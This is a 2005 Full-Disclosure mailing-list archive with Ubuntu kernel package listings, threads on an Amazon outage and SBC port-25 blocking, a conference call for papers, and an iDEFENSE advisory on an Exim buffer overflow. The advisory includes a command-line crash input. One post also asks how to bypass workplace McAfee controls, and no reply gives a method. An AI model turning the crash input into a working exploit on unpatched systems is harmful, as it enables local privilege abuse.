    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-k7-smp_2.6.8.1-16.10_i386.deb
      Size/MD5:   271178 faec7f6dca98fb4ddb29973f5171c64a
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-k7_2.6.8.1-16.10_i386.deb
      Size/MD5:   274106 f8a767051d9d65afb6743930b393245b
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4_2.6.8.1-16.10_i386.deb
      Size/MD5:  3218786 f9647906a4382578efd19a510f2e9941
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-386_2.6.8.1-16.10_i386.deb
      Size/MD5: 15495688 e7c081897718ab829beb87aa032e6f01
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-686-smp_2.6.8.1-16.10_i386.deb
      Size/MD5: 16344846 d47cd6269296488515904a9f4a644e78
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-686_2.6.8.1-16.10_i386.deb
      Size/MD5: 16511876 c2a701f2502e20973578a5a0f863c41c
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-k7-smp_2.6.8.1-16.10_i386.deb
      Size/MD5: 16446858 182c5641b7f9b3b4b2a4e78fb5a934d0
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-k7_2.6.8.1-16.10_i386.deb
      Size/MD5: 16573412 e3f3c2326e434cc5137ccd324fd269a5

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-power3-smp_2.6.8.1-16.10_powerpc.deb
      Size/MD5:   212200 e55327823c7403f3a51e232be3914a8d
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-power3_2.6.8.1-16.10_powerpc.deb
      Size/MD5:   212922 0ad9bd97d8ac7a6f8241da8df3d5fcc6
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-power4-smp_2.6.8.1-16.10_powerpc.deb
      Size/MD5:   211924 06b25a4fe260d751a0e5be41889a0995
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-power4_2.6.8.1-16.10_powerpc.deb
      Size/MD5:   212686 fe70bb59a88058a20e8037fe534434a0
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-powerpc-smp_2.6.8.1-16.10_powerpc.deb
      Size/MD5:   212592 59067dc10494c585f5d9020875fba9b2
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-powerpc_2.6.8.1-16.10_powerpc.deb
      Size/MD5:   214104 363a3e0b5f3921c8b7af2c1afddeab29
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4_2.6.8.1-16.10_powerpc.deb
      Size/MD5:  3296108 aabb6a794c2a1af565627706373bc574
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-power3-smp_2.6.8.1-16.10_powerpc.deb
      Size/MD5: 16366144 618e5fc502020f41e04e7bd892d8d275
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-power3_2.6.8.1-16.10_powerpc.deb
      Size/MD5: 15943176 0a5197aa75406791e30c5106e60e03ba
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-power4-smp_2.6.8.1-16.10_powerpc.deb
      Size/MD5: 16353386 36091d4d463c74a680b6124dd63a46bc
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-power4_2.6.8.1-16.10_powerpc.deb
      Size/MD5: 15925318 96e7fa989818b59c8d567f014545901c
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-powerpc-smp_2.6.8.1-16.10_powerpc.deb
      Size/MD5: 16288048 b50e240bf758725c9fdebd1c2dce903c
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-powerpc_2.6.8.1-16.10_powerpc.deb
      Size/MD5: 15975940 c7b20be7720832a8714101336f20db3c
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050114/b9c0214b/attachment.bin 

From jqxin at iastate.edu  Fri Jan 14 16:23:19 2005
From: jqxin at iastate.edu (Jianqiang Xin)
Date: Fri, 14 Jan 2005 10:23:19 -0600
Subject: [Full-Disclosure] Amazon.com is down
In-Reply-To: <6CDD95AD0FF2D311BC6A009027DC6B990530EC9E@MAIL1>
References: <6CDD95AD0FF2D311BC6A009027DC6B990530EC9E@MAIL1>
Message-ID: <41E7F1F7.8090603@eng.iastate.edu>

It seems that Amazon.com is down. Is it related to any attack?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050114/e0035ae5/attachment.html 

From measl at mfn.org  Fri Jan 14 16:44:16 2005
From: measl at mfn.org (J.A. Terranson)
Date: Fri, 14 Jan 2005 10:44:16 -0600 (CST)
Subject: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.
Message-ID: <20050114103525.E20834@ubzr.zsa.bet>


Good Morning,

	I thought the list would be interested in a story which is
developing as we speak.

	Approximately an hour ago, we lost TCP port 25 from/to anywhere.
This, on our "Business-Class DSL" line.  A call to SWB confirms that:

(a) The decision to block *everyone* was made some time ago;
(b) SWB chose not to notify anyone of this impending change;
(c) There are NO exceptions.  Just how this "service" qualifies as a
"Business Class DSL" is anyone's guess.
(d) While they state that they will offer relay services, to get them
requires that you fill out a form and send it in to SWB for processing: a
process that could take "several weeks".

	Even the most rabid "block port-25 everywhere" can't agree that
this is the right way to do this.  As for the ~$60.00 we pay every month
for "Business Class" service - what the hell is that money *buying*???

-- 
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner


From measl at mfn.org  Fri Jan 14 16:45:50 2005
From: measl at mfn.org (J.A. Terranson)
Date: Fri, 14 Jan 2005 10:45:50 -0600 (CST)
Subject: [Full-Disclosure] Amazon.com is down
In-Reply-To: <41E7F1F7.8090603@eng.iastate.edu>
References: <6CDD95AD0FF2D311BC6A009027DC6B990530EC9E@MAIL1>
	<41E7F1F7.8090603@eng.iastate.edu>
Message-ID: <20050114104530.F20834@ubzr.zsa.bet>


On Fri, 14 Jan 2005, Jianqiang Xin wrote:

> It seems that Amazon.com is down. Is it related to any attack?

They're probably being hosted by SWB...

-- 
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner


From hackerwacker at cybermesa.com  Fri Jan 14 17:08:24 2005
From: hackerwacker at cybermesa.com (james edwards)
Date: Fri, 14 Jan 2005 10:08:24 -0700
Subject: [Full-Disclosure] Amazon.com is down
References: <6CDD95AD0FF2D311BC6A009027DC6B990530EC9E@MAIL1>
	<41E7F1F7.8090603@eng.iastate.edu>
Message-ID: <005901c4fa5b$a863d7a0$0200020a@jamesnew>

Don't assume local problems are global. 
  ----- Original Message ----- 
  From: Jianqiang Xin 
  To: Full-Disclosure (E-mail) 
  Sent: Friday, January 14, 2005 9:23 AM
  Subject: [Full-Disclosure] Amazon.com is down


  It seems that Amazon.com is down. Is it related to any attack? 



------------------------------------------------------------------------------


  _______________________________________________
  Full-Disclosure - We believe in it.
  Charter: http://lists.netsys.com/full-disclosure-charter.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050114/5afdd3d7/attachment.html 

From fredrik.je.karlsson at gmail.com  Fri Jan 14 17:11:48 2005
From: fredrik.je.karlsson at gmail.com (Fredrik Karlsson)
Date: Fri, 14 Jan 2005 18:11:48 +0100
Subject: [Full-Disclosure] Amazon.com is down
In-Reply-To: <41E7F1F7.8090603@eng.iastate.edu>
References: <6CDD95AD0FF2D311BC6A009027DC6B990530EC9E@MAIL1>
	<41E7F1F7.8090603@eng.iastate.edu>
Message-ID: <ba5b9fae0501140911387364bd@mail.gmail.com>

I did just try amazon.com.
Works like a charm.


On Fri, 14 Jan 2005 10:23:19 -0600, Jianqiang Xin <jqxin at iastate.edu> wrote:
>  It seems that Amazon.com is down. Is it related to any attack? 
>  
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 
> 
> 


-- 
()  The ASCII Ribbon Campaign - against HTML Email,
/\  vCards, and proprietary formats.
==

Fredrik Karlsson
E-Mail: fredrik.je.karlsson at gmail.com
ICQ# 744755


From exibar at thelair.com  Fri Jan 14 17:26:19 2005
From: exibar at thelair.com (Exibar)
Date: Fri, 14 Jan 2005 12:26:19 -0500
Subject: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.
References: <20050114103525.E20834@ubzr.zsa.bet>
Message-ID: <001801c4fa5e$2c16ad50$1214dd80@corp.emc.com>

As far as I'm concerned.  A business ISP should not block any port for any
reason unless requested by the business that is leasing that line...  This
should include DSL and Broadband cable business class links as well.

 SWB is in the wrong by doing what they did, but I'm sure that they have an
EULA somewhere that states that they can make changes at any time without
notification.  Basically stating that they can do what they want, when they
want, however they want, without telling a soul that they've done it.

  Kinda like a land lord changing the lock on the mailbox and not telling
the person that rents the house that the locks have been changed if you ask
me...

 I'd drop them and get another provider if I could...either that or figure
out how much it's costing your company, and sue them for lost revenue.

  Exibar


----- Original Message ----- 
From: "J.A. Terranson" <measl at mfn.org>
To: "Spam Prevention Discussion List" <SPAM-L at PEACH.EASE.LSOFT.COM>
Cc: <full-disclosure at lists.netsys.com>
Sent: Friday, January 14, 2005 11:44 AM
Subject: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.


>
> Good Morning,
>
> I thought the list would be interested in a story which is
> developing as we speak.
>
> Approximately an hour ago, we lost TCP port 25 from/to anywhere.
> This, on our "Business-Class DSL" line.  A call to SWB confirms that:
>
> (a) The decision to block *everyone* was made some time ago;
> (b) SWB chose not to notify anyone of this impending change;
> (c) There are NO exceptions.  Just how this "service" qualifies as a
> "Business Class DSL" is anyone's guess.
> (d) While they state that they will offer relay services, to get them
> requires that you fill out a form and send it in to SWB for processing: a
> process that could take "several weeks".
>
> Even the most rabid "block port-25 everywhere" can't agree that
> this is the right way to do this.  As for the ~$60.00 we pay every month
> for "Business Class" service - what the hell is that money *buying*???
>
> -- 
> Yours,
>
> J.A. Terranson
> sysadmin at mfn.org
> 0xBD4A95BF
>
>  Civilization is in a tailspin - everything is backwards, everything is
> upside down- doctors destroy health, psychiatrists destroy minds, lawyers
> destroy justice, the major media destroy information, governments destroy
> freedom and religions destroy spirituality - yet it is claimed to be
> healthy, just, informed, free and spiritual. We live in a social system
> whose community, wealth, love and life is derived from alienation,
> poverty, self-hate and medical murder - yet we tell ourselves that it is
> biologically and ecologically sustainable.
>
> The Bush plan to screen whole US population for mental illness clearly
> indicates that mental illness starts at the top.
>
> Rev Dr Michael Ellner
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>



From dsbryhan at chartermi.net  Fri Jan 14 17:43:36 2005
From: dsbryhan at chartermi.net (Scot Bryhan)
Date: Fri, 14 Jan 2005 12:43:36 -0500
Subject: [Full-Disclosure] Amazon.com is down
References: <6CDD95AD0FF2D311BC6A009027DC6B990530EC9E@MAIL1><41E7F1F7.8090603@eng.iastate.edu>
	<20050114104530.F20834@ubzr.zsa.bet>
Message-ID: <003001c4fa60$938444a0$eb9df718@celeron>

no, their IP space is from UU.NET and www.amazon.com is active from
Michigan.
Scot


----- Original Message ----- 
From: "J.A. Terranson" <measl at mfn.org>
To: "Jianqiang Xin" <jqxin at iastate.edu>
Cc: "Full-Disclosure (E-mail)" <full-disclosure at lists.netsys.com>
Sent: Friday, January 14, 2005 11:45 AM
Subject: Re: [Full-Disclosure] Amazon.com is down


>
> On Fri, 14 Jan 2005, Jianqiang Xin wrote:
>
> > It seems that Amazon.com is down. Is it related to any attack?
>
> They're probably being hosted by SWB...
>
> -- 
> Yours,
>
> J.A. Terranson
> sysadmin at mfn.org
> 0xBD4A95BF
>
>  Civilization is in a tailspin - everything is backwards, everything is
> upside down- doctors destroy health, psychiatrists destroy minds, lawyers
> destroy justice, the major media destroy information, governments destroy
> freedom and religions destroy spirituality - yet it is claimed to be
> healthy, just, informed, free and spiritual. We live in a social system
> whose community, wealth, love and life is derived from alienation,
> poverty, self-hate and medical murder - yet we tell ourselves that it is
> biologically and ecologically sustainable.
>
> The Bush plan to screen whole US population for mental illness clearly
> indicates that mental illness starts at the top.
>
> Rev Dr Michael Ellner
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html



From Marc.Heuse at nruns.com  Fri Jan 14 14:02:59 2005
From: Marc.Heuse at nruns.com (Marc Heuse)
Date: Fri, 14 Jan 2005 15:02:59 +0100
Subject: [Full-Disclosure] DIMVA 2005 - Second Call for Papers
Message-ID: <E1CpS2w-0000VD-00@mrelayng.kundenserver.de>

 [Apologies for multiple copies of this announcement]

----------------------------------------------------------------------------


                        SECOND CALL FOR PAPERS

                               DIMVA 2005

                   Second GI SIG SIDAR Conference on
     Detection of Intrusions & Malware, and Vulnerability Assessment
    In Cooperation with the IEEE Task Force on Information Assurance

                            Vienna, Austria
                           July 7 - 8, 2005

                     http://www.dimva.org/dimva2005
                         mailto:info at dimva.org

----------------------------------------------------------------------------



The special interest group Security - Intrusion Detection and Response
(SIDAR) of the German Informatics Society (GI) organizes DIMVA as an
annual conference that brings together experts from throughout Europe
to discuss the state of the art in the areas of intrusion detection,
detection of malware, and assessment of vulnerabilities. DIMVA
emphasizes the collaboration and exchange of ideas between industry,
academia, law enforcement and government, and invites four types of
submissions:

- Full papers of up to 6000 words, presenting novel and mature research
  results. Full papers will be reviewed, and papers accepted for
  presentation at the conference will be included in the proceedings,
  which are planned to appear in Springer?s Lecture Notes in Computer
  Science (LNCS) series.

- Industry papers of up to 2000 words, describing best practices,
  case studies, lessons learned, or latest product developments.
  Industry papers will be reviewed and, if accepted for presentation
  at the conference, will be published at the DIMVA 2005 Web site.

- Panel proposals for the discussion of hot topics in the areas of
  intrusion detection, malware, or vulnerability assessment. Panel
  proposals should include a short rationale for the panel, a
  description of the proposed panel format, and names of panelists.

- Proposals of two-to-three-hour tutorials on topics of current or
  emerging interest. Tutorial proposals must not exceed three pages.
  They must clearly identify the intended audience, include a brief
  biography of the speaker, and contain enough material to provide
  a sense of their scope and depth. Tutorial material will be
  published on the DIMVA 2005 Web site.

The scope of DIMVA is broad and includes, but is not restricted to
the following areas:

Intrusion detection:
- Novel intrusion detection and correlation techniques such as alert
  fusion or honey pots
- Intrusion detection in special environments such as control systems
  or mobile networks
- Assessment, testing, and benchmarking of intrusion detection systems
- Automated response systems and intrusion prevention systems
- Incident management and response, response team cooperation, and
  legal issues

Malware:
- Detection and prevention of viruses, worms, Trojan horses, and
  other forms of malware
- Malware trends and statistics
- Techniques used to increase the harmfulness of malware
- Detailed analysis and discussion of the latest malware as well as
  computer and network forensics in general

Vulnerability assessment:
- New reverse engineering techniques
- Circumvention of security mechanisms such as bypassing of buffer
  overflow protection
- Risk evaluation and weighing, ROI on vulnerability assessments and
  management
- Software development, testing, and verification methodologies for
  IT-security

DIMVA specifically encourages interdisciplinary papers that combine
elements from all three main areas, as well as papers from other
communities such as machine learning, law, crime detection and
investigation, or economics that present these communities?
perspectives on and contributions to the above IT security issues.


ORGANIZING COMMITTEE:
General Chair : Christopher Kruegel (Technical University Vienna,
                Austria, chris at cs.ucsb.edu)
Academic Chair: Klaus Julisch (IBM Research, Switzerland,
                dimva-chair at zurich.ibm.com)
Industry Chair: Marc Heuse (n.runs, Germany, marc.heuse at nruns.com)
Sponsor Chair : Werner Metterhausen (VZM GmbH, Germany, wme at vzm.de)


PROGRAM COMMITTEE:
Dominique Alessandri, IBM, Switzerland
Thomas Biege, SUSE LINUX AG, Germany
Roland B?schkes, T-Mobile, Germany
Marc Dacier, Institut Eur?com, France
Herve Debar, France Telecom R&D, France
Luca Deri, ntop.org, Italy
Sven Dietrich, CMU, USA
Toralv Dirro, McAfee, Germany
Ulrich Flegel, University of Dortmund, Germany
Steven Furnell, University of Plymouth, UK
Detlef G?nther, CERT-VW, Germany
Dirk H?ger, BSI, Germany
Bernhard H?mmerli, HTA Luzern, Switzerland
Oliver Heinz, arago AG, Germany
Peter Herrmann, University of Dortmund, Germany
Marc Heuse, n.runs, Germany
Erland Jonsson, Chalmers University of Technology, Sweden
Engin Kirda, Technical University Vienna, Austria
Hartmut K?nig, Technical University of Cottbus, Germany
Klaus-Peter Kossakowski, Presecure, Germany
Hannes Lubich, Computer Associates, Switzerland
Michael Meier, Technical University of Cottbus, Germany
Martin Naedele, ABB Corporate Research, Switzerland
Marc Rennhard, ETH Zurich, Switzerland
Dirk Schadt, Computer Associates, Germany
Robin Sommer, TU M?nchen, Germany
Axel Tanner, IBM Research, Switzerland
Stephen Wolthusen, Fraunhofer-IGD, Germany


IMPORTANT DATES:
- January 21, 2005: Deadline for submission of full and industry
  papers.
- March 4, 2005 : Deadline for submission of panel and tutorial
  proposals.
- March 21, 2005 : Notification of acceptance or rejection.
- April 8, 2005 : Final paper camera ready copy due.
- July 7 - 8, 2005: DIMVA conference.


PAPER SUBMISSIONS AND CONFERENCE REGISTRATION:
Submitted full papers must not substantially overlap papers that have
been published or that are simultaneously submitted to a journal or a
conference with proceedings. Full papers must include an abstract, a
list of keywords, and a list of all authors and their affiliations.
Committee members are not required to read appendices; thus, papers
should be intelligible without them.

Submissions must be in English, and in either postscript or PDF format.
Authors of accepted papers must guarantee that their papers will be
presented at the conference. Plan to give presentations, panels, and
tutorials in English.

Authors are invited to submit their papers electronically. Details on
the electronic submission procedure as well as detailed registration
information (including fees, suggested hotels, and travel directions)
will be provided by end of December 2004 at the conference Web site at
http://www.dimva.org/dimva2005.


SPONSORSHIP OPPORTUNITIES:
We solicit interested organizations to serve as sponsors for DIMVA
2005; please contact the Sponsor Chair, Mr. Werner Metterhausen, for
information regarding corporate sponsorship (mailto: wme at vzm.de).


STEERING COMMITTEE:
Chairs: Ulrich Flegel (University of Dortmund, Germany),
        Michael Meier (Technical University of Cottbus, Germany)
        Roland B?schkes (T-Mobile, Germany),
        Marc Heuse (n.runs, Germany)





From aditya.deshmukh at online.gateway.expertworks.net  Fri Jan 14 15:20:11 2005
From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya,
	Aditya Lalit Deshmukh)
Date: Fri, 14 Jan 2005 20:50:11 +0530
Subject: [Full-Disclosure] Problem in Spybot S&D
In-Reply-To: <200501140148.j0E1mmrs010271@lists.netsys.com>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAAw4xHvLnNwE6Xx2v2Mp5klwEAAAAA@online.gateway.expertworks.net>

Today while scanning with spybot I got the following error message ... 

Which is in the attached image - uninstalling and reinstalling also produces
the same image. This started happening after I updated all the latest
updates. Is anyone else experiencing the same error ? 

I want to confirm this before I report this to the vendor. 


-aditya
-------------- next part --------------
A non-text attachment was scrubbed...
Name: SPYBOT.jpg
Type: application/octet-stream
Size: 55213 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050114/1c98f65f/attachment.obj 

From NicolaD at education.mondadori.it  Fri Jan 14 16:53:32 2005
From: NicolaD at education.mondadori.it (Nicola Del Vacchio)
Date: Fri, 14 Jan 2005 17:53:32 +0100
Subject: [Full-Disclosure] Amazon.com is down
Message-ID: <C76E33933782E046A830C0A787F92AA80109905A@mercurio.miestaff.education.mondadori.it>

i see it very well now in italy.
no problems from here. ;-)


-----Original Message-----
From:	full-disclosure-bounces at lists.netsys.com on behalf of Jianqiang Xin
Sent:	Fri 1/14/2005 5:23 PM
To:	Full-Disclosure (E-mail)
Cc:	
Subject:	[Full-Disclosure] Amazon.com is down
It seems that Amazon.com is down. Is it related to any attack?






From bvsev at mail.ru  Fri Jan 14 16:54:28 2005
From: bvsev at mail.ru (bvsev at mail.ru)
Date: Fri, 14 Jan 2005 19:54:28 +0300
Subject: [Full-Disclosure] network associates mcafee controls
Message-ID: <E1CpUiS-0009ZZ-00.bvsev-mail-ru@f29.mail.ru>

Hi
Does anybody know or had any experiences with mcafee parental controls. It's used at my work, and I'm wondering if there's any way to bypass it i.e. run an executable?
Would appreciate any help
B.


From lee at xmgnetworks.com  Fri Jan 14 17:34:35 2005
From: lee at xmgnetworks.com (XmG Lee)
Date: Fri, 14 Jan 2005 09:34:35 -0800
Subject: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.
In-Reply-To: <20050114103525.E20834@ubzr.zsa.bet>
Message-ID: <200501141736.j0EHaJrs001026@lists.netsys.com>

Eww.  I'm glad you mentioned this.

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of J.A.
Terranson
Sent: Friday, January 14, 2005 8:44 AM
To: Spam Prevention Discussion List
Cc: full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.


Good Morning,

	I thought the list would be interested in a story which is
developing as we speak.

	Approximately an hour ago, we lost TCP port 25 from/to anywhere.
This, on our "Business-Class DSL" line.  A call to SWB confirms that:

(a) The decision to block *everyone* was made some time ago;
(b) SWB chose not to notify anyone of this impending change;
(c) There are NO exceptions.  Just how this "service" qualifies as a
"Business Class DSL" is anyone's guess.
(d) While they state that they will offer relay services, to get them
requires that you fill out a form and send it in to SWB for processing: a
process that could take "several weeks".

	Even the most rabid "block port-25 everywhere" can't agree that
this is the right way to do this.  As for the ~$60.00 we pay every month
for "Business Class" service - what the hell is that money *buying*???

-- 
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



From idlabs-advisories at idefense.com  Fri Jan 14 17:41:05 2005
From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com)
Date: Fri, 14 Jan 2005 12:41:05 -0500
Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.14.05: Exim
	dns_buld_reverse() Buffer Overflow Vulnerability 
Message-ID: <FB24803D1DF2A34FA59FC157B77C970503C8B0ED@idserv04.idef.com>

Exim dns_buld_reverse() Buffer Overflow Vulnerability 

iDEFENSE Security Advisory 01.14.05
www.idefense.com/application/poi/display?id=183&type=vulnerabilities
January 14, 2005

I. BACKGROUND

Exim is a mail transfer agent (MTA) for Unix systems similar to
sendmail. More information is available at the following URL:

 http://www.exim.org/

II. DESCRIPTION

Local exploitation of a buffer overflow vulnerability in Exim 4.41 may 
allow execution of arbitrary commands with elevated privileges.

The problem specifically exists in the dns_build_reverse() function. The

function fails to check the length of a string which it copies into a 
fixed length buffer. This string is user controlled and passed into the 
program from a command line option. 

The following example demonstrates an input that will crash Exim:

/usr/bin/exim -bh ::%A`perl -e 'print pack('L',0xdeadbeef') x 256'`

III. ANALYSIS

Exploitation of this vulnerability will give an attacker access to the 
mailer uid. (The exim mailer is setuid root, but drops privileges before

the vulnerable code is reached). Having the mailer uid may allow access 
to sensitive information in email messages, or possibly further 
elevation.

IV. DETECTION

iDEFENSE has confirmed the existence of this vulnerability in Exim 
versions 4.40 and 4.41. A source audit of version 4.42 suggests that it 
is also vulnerable. It is suspected that earlier versions are also 
vulnerable.

V. WORKAROUND

iDEFENSE is currently unaware of any effective workarounds for this 
vulnerability.

VI. VENDOR RESPONSE

A patch for Exim release 4.43 which addresses this vulnerability is
available at:

   http://www.exim.org/mail-archives/exim-announce/2005/msg00000.html

The patch will be incorporated into a future Exim release (4.50).

VII. CVE INFORMATION

A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.

VIII. DISCLOSURE TIMELINE

09/30/2004  Initial vendor notification
09/30/2004  Initial vendor response
01/14/2005  Public disclosure

IX. CREDIT

The discoverer of this vulnerability wishes to remain anonymous.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2004 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice at idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.




From dilabox at gmail.com  Fri Jan 14 18:26:32 2005
From: dilabox at gmail.com (dila)
Date: Fri, 14 Jan 2005 18:26:32 +0000
Subject: [Full-Disclosure] Problem in Spybot S&D
In-Reply-To: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAAw4xHvLnNwE6Xx2v2Mp5klwEAAAAA@online.gateway.expertworks.net>
References: <200501140148.j0E1mmrs010271@lists.netsys.com>
	<!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAAw4xHvLnNwE6Xx2v2Mp5klwEAAAAA@online.gateway.expertworks.net>
Message-ID: <ad629b8205011410267eff51fa@mail.gmail.com>

the screenshot is confirmation.
why are you posting a bug to fd?

On Fri, 14 Jan 2005 20:50:11 +0530, ALD, Aditya, Aditya Lalit Deshmukh
<aditya.deshmukh at online.gateway.expertworks.net> wrote:
> Today while scanning with spybot I got the following error message ...
> 
> Which is in the attached image - uninstalling and reinstalling also produces
> the same image. This started happening after I updated all the latest
> updates. Is anyone else experiencing the same error ?
> 
> I want to confirm this before I report this to the vendor.
> 
> 
> -aditya
> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 
> 
> 
>


From dilabox at gmail.com  Fri Jan 14 18:27:58 2005
From: dilabox at gmail.com (dila)
Date: Fri, 14 Jan 2005 18:27:58 +0000
Subject: [Full-Disclosure] network associates mcafee controls
In-Reply-To: <E1CpUiS-0009ZZ-00.bvsev-mail-ru@f29.mail.ru>
References: <E1CpUiS-0009ZZ-00.bvsev-mail-ru@f29.mail.ru>
Message-ID: <ad629b8205011410274e5f8542@mail.gmail.com>

your asking for 0day's in mcafee?
why are you posting this to fd?

On Fri, 14 Jan 2005 19:54:28 +0300, bvsev at mail.ru <bvsev at mail.ru> wrote:
> Hi
> Does anybody know or had any experiences with mcafee parental controls. It's used at my work, and I'm wondering if there's any way to bypass it i.e. run an executable?
> Would appreciate any help
> B.
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>


From caldcv at students.fccj.org  Fri Jan 14 18:38:10 2005
From: caldcv at students.fccj.org (caldcv at students.fccj.org)
Date: Fri, 14 Jan 2005 13:38:10 -0500 (EST)
Subject: [Full-Disclosure] Problems with Spybot Search & Destroy
Message-ID: <2984.66.177.229.147.1105727890.squirrel@66.177.229.147>

In my experience, that software wasn't very reliable. I installed
Microsoft AntiSpywares's free beta and I caught things that have been
resident on my machine for months that Spybot ignored.



From dk at pwarchitects.com  Fri Jan 14 18:52:32 2005
From: dk at pwarchitects.com (dk)
Date: Fri, 14 Jan 2005 12:52:32 -0600
Subject: [Full-Disclosure] Amazon.com is down
In-Reply-To: <41E7F1F7.8090603@eng.iastate.edu>
